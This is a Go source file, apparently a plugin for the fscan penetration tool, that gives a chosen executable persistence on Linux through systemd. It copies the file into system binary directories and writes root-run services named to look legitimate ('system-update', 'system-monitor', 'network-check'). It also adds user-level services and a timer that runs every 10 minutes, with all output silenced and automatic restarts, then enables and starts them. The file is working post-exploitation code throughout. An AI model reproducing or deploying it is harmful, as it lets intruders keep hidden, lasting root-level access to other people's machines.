//go:build linux package systemdservice import ( "context" "fmt" "os" "os/exec" "path/filepath" "runtime" "strings" "github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/plugins/base" "github.com/shadow1ng/fscan/plugins/local" ) // SystemdServicePlugin 系统服务持久化插件 - 使用简化架构 type SystemdServicePlugin struct { *local.BaseLocalPlugin targetFile string } // NewSystemdServicePlugin 创建系统服务持久化插件 - 简化版本 func NewSystemdServicePlugin() *SystemdServicePlugin { // 从全局参数获取目标文件路径 targetFile := common.PersistenceTargetFile if targetFile == "" { targetFile = "" // 需要用户指定 } metadata := &base.PluginMetadata{ Name: "systemdservice", Version: "1.0.0", Author: "fscan-team", Description: "Linux 系统服务持久化插件,通过systemd服务实现持久化", Category: "local", Tags: []string{"local", "persistence", "linux", "systemd", "service"}, Protocols: []string{"local"}, } plugin := &SystemdServicePlugin{ BaseLocalPlugin: local.NewBaseLocalPlugin(metadata), targetFile: targetFile, } // 只支持Linux平台 plugin.SetPlatformSupport([]string{"linux"}) // 需要root权限来创建系统服务 plugin.SetRequiresPrivileges(true) return plugin } // Initialize 初始化插件 func (p *SystemdServicePlugin) Initialize() error { if p.targetFile == "" { return fmt.Errorf("必须通过 -persistence-file 参数指定目标文件路径") } // 检查目标文件是否存在 if _, err := os.Stat(p.targetFile); os.IsNotExist(err) { return fmt.Errorf("目标文件不存在: %s", p.targetFile) } // 检查systemctl是否可用 if _, err := exec.LookPath("systemctl"); err != nil { return fmt.Errorf("systemctl命令不可用: %v", err) } return p.BaseLocalPlugin.Initialize() } // Scan 重写扫描方法以确保调用正确的ScanLocal实现 func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { return p.ScanLocal(ctx, info) } // ScanLocal 执行系统服务持久化 - 简化版本 func (p *SystemdServicePlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { if runtime.GOOS != "linux" { return &base.ScanResult{ Success: false, Error: fmt.Errorf("系统服务持久化只支持Linux平台"), }, nil } common.LogBase("开始系统服务持久化...") common.LogBase(fmt.Sprintf("目标文件: %s", p.targetFile)) // 执行持久化操作 results := make([]string, 0) // 1. 复制文件到系统目录 servicePath, err := p.copyToServicePath() if err != nil { common.LogError(fmt.Sprintf("复制文件失败: %v", err)) } else { results = append(results, fmt.Sprintf("文件已复制到: %s", servicePath)) common.LogSuccess(fmt.Sprintf("文件已复制到: %s", servicePath)) } // 2. 创建systemd服务文件 serviceFiles, err := p.createSystemdServices(servicePath) if err != nil { common.LogError(fmt.Sprintf("创建systemd服务失败: %v", err)) } else { results = append(results, fmt.Sprintf("已创建systemd服务: %s", strings.Join(serviceFiles, ", "))) common.LogSuccess("已创建systemd服务") } // 3. 启用并启动服务 err = p.enableAndStartServices(serviceFiles) if err != nil { common.LogError(fmt.Sprintf("启动服务失败: %v", err)) } else { results = append(results, "服务已启用并启动") common.LogSuccess("服务已启用并启动") } // 4. 创建用户级服务 userServiceFiles, err := p.createUserServices(servicePath) if err != nil { common.LogError(fmt.Sprintf("创建用户服务失败: %v", err)) } else { results = append(results, fmt.Sprintf("已创建用户服务: %s", strings.Join(userServiceFiles, ", "))) common.LogSuccess("已创建用户服务") } // 5. 创建定时器服务 err = p.createTimerServices(servicePath) if err != nil { common.LogError(fmt.Sprintf("创建定时器服务失败: %v", err)) } else { results = append(results, "已创建systemd定时器") common.LogSuccess("已创建systemd定时器") } success := len(results) > 0 result := &base.ScanResult{ Success: success, Service: "SystemdServicePersistence", Banner: fmt.Sprintf("系统服务持久化完成 - 目标: %s", filepath.Base(p.targetFile)), Extra: map[string]interface{}{ "target_file": p.targetFile, "platform": runtime.GOOS, "methods": results, "status": "completed", }, } return result, nil } // copyToServicePath 复制文件到服务目录 func (p *SystemdServicePlugin) copyToServicePath() (string, error) { // 选择服务目录 serviceDirs := []string{ "/usr/local/bin", "/opt/local", "/usr/bin", } var targetDir string for _, dir := range serviceDirs { if err := os.MkdirAll(dir, 0755); err == nil { targetDir = dir break } } if targetDir == "" { return "", fmt.Errorf("无法创建服务目录") } // 生成服务可执行文件名 basename := filepath.Base(p.targetFile) serviceName := strings.TrimSuffix(basename, filepath.Ext(basename)) if serviceName == "" { serviceName = "system-service" } targetPath := filepath.Join(targetDir, serviceName) // 复制文件 err := p.copyFile(p.targetFile, targetPath) if err != nil { return "", err } // 设置执行权限 os.Chmod(targetPath, 0755) return targetPath, nil } // copyFile 复制文件内容 func (p *SystemdServicePlugin) copyFile(src, dst string) error { sourceData, err := os.ReadFile(src) if err != nil { return err } return os.WriteFile(dst, sourceData, 0755) } // createSystemdServices 创建systemd服务文件 func (p *SystemdServicePlugin) createSystemdServices(execPath string) ([]string, error) { systemDir := "/etc/systemd/system" if err := os.MkdirAll(systemDir, 0755); err != nil { return nil, err } services := []struct { name string content string enable bool }{ { name: "system-update.service", enable: true, content: fmt.Sprintf(`[Unit] Description=System Update Service After=network.target Wants=network-online.target [Service] Type=simple User=root ExecStart=%s Restart=always RestartSec=60 StandardOutput=null StandardError=null [Install] WantedBy=multi-user.target `, execPath), }, { name: "system-monitor.service", enable: true, content: fmt.Sprintf(`[Unit] Description=System Monitor Service After=network.target [Service] Type=forking User=root ExecStart=%s PIDFile=/var/run/system-monitor.pid Restart=on-failure StandardOutput=null StandardError=null [Install] WantedBy=multi-user.target `, execPath), }, { name: "network-check.service", enable: false, content: fmt.Sprintf(`[Unit] Description=Network Check Service After=network-online.target Wants=network-online.target [Service] Type=oneshot User=root ExecStart=%s StandardOutput=null StandardError=null `, execPath), }, } var created []string for _, service := range services { servicePath := filepath.Join(systemDir, service.name) if err := os.WriteFile(servicePath, []byte(service.content), 0644); err == nil { created = append(created, service.name) } } if len(created) == 0 { return nil, fmt.Errorf("无法创建任何systemd服务文件") } return created, nil } // enableAndStartServices 启用并启动服务 func (p *SystemdServicePlugin) enableAndStartServices(serviceFiles []string) error { var errors []string for _, serviceName := range serviceFiles { // 重新加载systemd配置 exec.Command("systemctl", "daemon-reload").Run() // 启用服务 if err := exec.Command("systemctl", "enable", serviceName).Run(); err != nil { errors = append(errors, fmt.Sprintf("enable %s: %v", serviceName, err)) } // 启动服务 if err := exec.Command("systemctl", "start", serviceName).Run(); err != nil { errors = append(errors, fmt.Sprintf("start %s: %v", serviceName, err)) } } if len(errors) > 0 { return fmt.Errorf("服务操作错误: %s", strings.Join(errors, "; ")) } return nil } // createUserServices 创建用户级服务 func (p *SystemdServicePlugin) createUserServices(execPath string) ([]string, error) { userDir := filepath.Join(os.Getenv("HOME"), ".config", "systemd", "user") if userDir == "/.config/systemd/user" { // HOME为空的情况 userDir = "/tmp/.config/systemd/user" } if err := os.MkdirAll(userDir, 0755); err != nil { return nil, err } userServices := []string{ "user-service.service", "background-task.service", } userServiceContent := fmt.Sprintf(`[Unit] Description=User Background Service After=graphical-session.target [Service] Type=simple ExecStart=%s Restart=always RestartSec=30 StandardOutput=null StandardError=null [Install] WantedBy=default.target `, execPath) var created []string for _, serviceName := range userServices { servicePath := filepath.Join(userDir, serviceName) if err := os.WriteFile(servicePath, []byte(userServiceContent), 0644); err == nil { created = append(created, serviceName) // 启用用户服务 exec.Command("systemctl", "--user", "enable", serviceName).Run() exec.Command("systemctl", "--user", "start", serviceName).Run() } } return created, nil } // createTimerServices 创建定时器服务 func (p *SystemdServicePlugin) createTimerServices(execPath string) error { systemDir := "/etc/systemd/system" // 创建定时器服务文件 timerService := fmt.Sprintf(`[Unit] Description=Scheduled Task Service Wants=scheduled-task.timer [Service] Type=oneshot ExecStart=%s StandardOutput=null StandardError=null `, execPath) // 创建定时器文件 timerConfig := `[Unit] Description=Run Scheduled Task Every 10 Minutes Requires=scheduled-task.service [Timer] OnBootSec=5min OnUnitActiveSec=10min AccuracySec=1s [Install] WantedBy=timers.target ` // 写入服务文件 serviceFile := filepath.Join(systemDir, "scheduled-task.service") if err := os.WriteFile(serviceFile, []byte(timerService), 0644); err != nil { return err } // 写入定时器文件 timerFile := filepath.Join(systemDir, "scheduled-task.timer") if err := os.WriteFile(timerFile, []byte(timerConfig), 0644); err != nil { return err } // 启用定时器 exec.Command("systemctl", "daemon-reload").Run() exec.Command("systemctl", "enable", "scheduled-task.timer").Run() exec.Command("systemctl", "start", "scheduled-task.timer").Run() return nil } // GetLocalData 获取系统服务持久化本地数据 func (p *SystemdServicePlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) { data := make(map[string]interface{}) data["plugin_type"] = "systemdservice" data["platform"] = runtime.GOOS data["target_file"] = p.targetFile data["persistence_method"] = "Systemd Service" if hostname, err := os.Hostname(); err == nil { data["hostname"] = hostname } // 检查systemd版本 if output, err := exec.Command("systemctl", "--version").Output(); err == nil { data["systemd_version"] = strings.Split(string(output), "\n")[0] } return data, nil } // ExtractData 提取数据 func (p *SystemdServicePlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) { return &base.ExploitResult{ Success: true, Output: fmt.Sprintf("系统服务持久化完成,目标文件: %s", p.targetFile), Data: data, Extra: map[string]interface{}{ "target_file": p.targetFile, "persistence_method": "Systemd Service", "status": "completed", }, }, nil } // GetInfo 获取插件信息 func (p *SystemdServicePlugin) GetInfo() string { var info strings.Builder info.WriteString("系统服务持久化插件\n") info.WriteString(fmt.Sprintf("目标文件: %s\n", p.targetFile)) info.WriteString("支持平台: Linux (需要systemd)\n") info.WriteString("功能: 通过systemd服务实现持久化\n") info.WriteString("方法: 系统服务、用户服务、定时器服务\n") info.WriteString("权限要求: 需要root权限创建系统服务\n") info.WriteString("自动启动: 开机自启动和崩溃重启\n") return info.String() } // RegisterSystemdServicePlugin 注册系统服务持久化插件 func RegisterSystemdServicePlugin() { factory := base.NewSimplePluginFactory( &base.PluginMetadata{ Name: "systemdservice", Version: "1.0.0", Author: "fscan-team", Description: "Linux 系统服务持久化插件,通过systemd服务实现持久化", Category: "local", Tags: []string{"systemdservice", "local", "persistence", "linux"}, Protocols: []string{"local"}, }, func() base.Plugin { return NewSystemdServicePlugin() }, ) base.GlobalPluginRegistry.Register("systemdservice", factory) } // init 插件注册函数 func init() { RegisterSystemdServicePlugin() }